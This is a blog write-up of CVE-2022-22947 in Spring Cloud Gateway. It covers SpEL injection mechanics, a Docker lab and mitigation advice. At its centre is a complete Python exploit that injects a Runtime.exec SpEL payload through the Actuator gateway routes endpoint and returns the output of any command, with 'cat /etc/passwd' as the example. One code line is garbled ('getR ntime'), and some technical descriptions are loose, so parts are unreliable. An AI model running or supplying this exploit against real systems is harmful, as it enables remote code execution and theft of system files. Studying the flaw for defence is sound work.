Introduction This blog delves deeper into CVE-2022-22947, offering a more granular examination for security researchers. We'll explore the specifics of Spring Expression Language (SpEL) exploitation within the vulnerable Gateway Actuator endpoint, analyze potential exploit vectors, and discuss advanced detection and mitigation techniques.
Exploit Mechanisms via SpEL
SpelEvaluationContext: When a malicious SpEL expression reaches the vulnerable code path, it's evaluated within a SpelEvaluationContext object, providing access to various system resources and functions.
Method Invocation: Attackers can craft SpEL expressions invoking Java methods on the underlying system. For instance, expressions leveraging the T (system property) or @systemProperties methods can read arbitrary files or environment variables.
Object Creation: SpEL expressions can create objects from available Spring Beans. Malicious code might instantiate a java.net.URL object, leveraging openStream() to download and execute payloads from remote servers.
Spring Integration: Spring Cloud Gateway integrates with frameworks like Spring Security. Attackers may exploit this by crafting expressions interacting with these frameworks to bypass authentication or authorization mechanisms.
Advanced Exploit Vectors
Java Security Manager Bypass: Certain SpEL expressions, combined with exploitation of the Java Security Manager configuration, could potentially bypass security restrictions entirely.
SpEL Templating Injection: If SpEL is used for template processing within the application, attackers might inject malicious expressions through user-controlled data to achieve code execution.
Spring Cloud Gateway Filters: Vulnerabilities within custom filters, coupled with SpEL exploitation, could enable attackers to gain unauthorized access or escalate privileges.
Proof of Concept
To build a proof of concept lab, we will host a vulnerable Spring Cloud Gateway instance using a docker image. Here's the docker compose we will be using:
version: "3"
services:
spring-cloud-gateway:
image: githhhunter/spring-cloud-gateway:vuln
restart: always
ports:
- "8080:8080"
Let's go ahead and run the container:
docker-compose up
Once we have the container running the vulnerable Spring Cloud Gateway, we can use the following exploit script to perform RCE:
import random
import string
import requests
import json
import sys
import urllib.parse
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36','Accept' : '*/*'}
id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
def exploit(url, command):
payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result",
"value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getR
ntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers,
data=json.dumps(payload), verify=False)
if(rbase.status_code == 201):
print("[+] Stage deployed to /actuator/gateway/routes/"+id)
print("[+] Executing command...")
r = requests.post(url + '/actuator/gateway/refresh', headers=headers, verify=False)
if(r.status_code == 200):
print("[+] getting result...")
r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
if(r.status_code == 200):
get_response = r.json()
clean(url, id)
return get_response['filters'][0].split("'")[1]
else:
print("[-] Error: Invalid response")
clean(url, id)
exit(1)
else:
clean(url, id)
print("[-] Error executing command")
else:
print("[X] Error: Fail to deploy stage (Patched ?)")
exit(1)
def clean(url, id):
remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers,
verify=False)
if(remove.status_code == 200):
print("[+] Stage removed!")
else:
print("[-] Error: Fail to remove stage")
def main():
if len(sys.argv) != 3:
print("[-] Error: Invalid arguments")
print("[-] Usage: python3 exploit.py <url> <command>")
exit(1)
else:
url = sys.argv[1]
command = sys.argv[2]
print(exploit(url, command))
if __name__ == '__main__':
main()
Here's how the above script exploits:
Payload Construction: The script constructs a payload in JSON format. This payload contains a malicious filter configuration that aims to execute arbitrary commands on the target system.
Stage Deployment: The script sends a POST request to the Actuator endpoint with the crafted payload. It attempts to deploy a stage using the Actuator's gateway routes feature. This stage is essentially a configuration that includes the malicious filter.
Command Execution: After deploying the stage, the script triggers a refresh of the Actuator's gateway routes. This refresh causes the Actuator to reevaluate its routes, including the newly deployed stage.
Result Retrieval: Once the refresh is complete, the script sends a GET request to retrieve the result of the executed command. It expects that the response will contain the output of the command executed on the target system.
Cleanup: Finally, regardless of the result, the script attempts to clean up by removing the deployed stage from the Actuator's routes.
We can execute the script by:
python3 exploit.py http://localhost:8080 'cat /etc/passwd'
Detection and Mitigation Strategies
Web Application Firewall (WAF) Rules: Develop or integrate WAF rules identifying and blocking requests containing characteristic SpEL injection patterns. These rules can target specific endpoint URLs, common malicious keywords, or suspicious expression syntax.
Code Auditing and Sandboxing: Implement code auditing practices to identify and remove instances of untrusted user input directly evaluated within SpEL expressions. Utilize sandboxing techniques to restrict SpEL execution environments, limiting access to critical system resources.
Spring Security Configuration Review: Scrutinize Spring Security configuration. Ensure proper authentication and authorization mechanisms prevent unauthorized Actuator endpoint access, even with a SpEL injection vulnerability.
Penetration Testing: Conduct regular penetration testing to proactively identify vulnerabilities like CVE-2022-22947. Testers can leverage tools and techniques, including fuzzing and manual exploitation, to uncover potential weaknesses.
Conclusion
CVE-2022-22947 presents a significant Remote Code Execution (RCE) vulnerability in Spring Cloud Gateway. Understanding SpEL exploitation intricacies enables security researchers to craft effective detection and mitigation strategies. Continuous vigilance, code auditing, and proactive security measures are critical for safeguarding applications from such vulnerabilities.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2022-22947 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.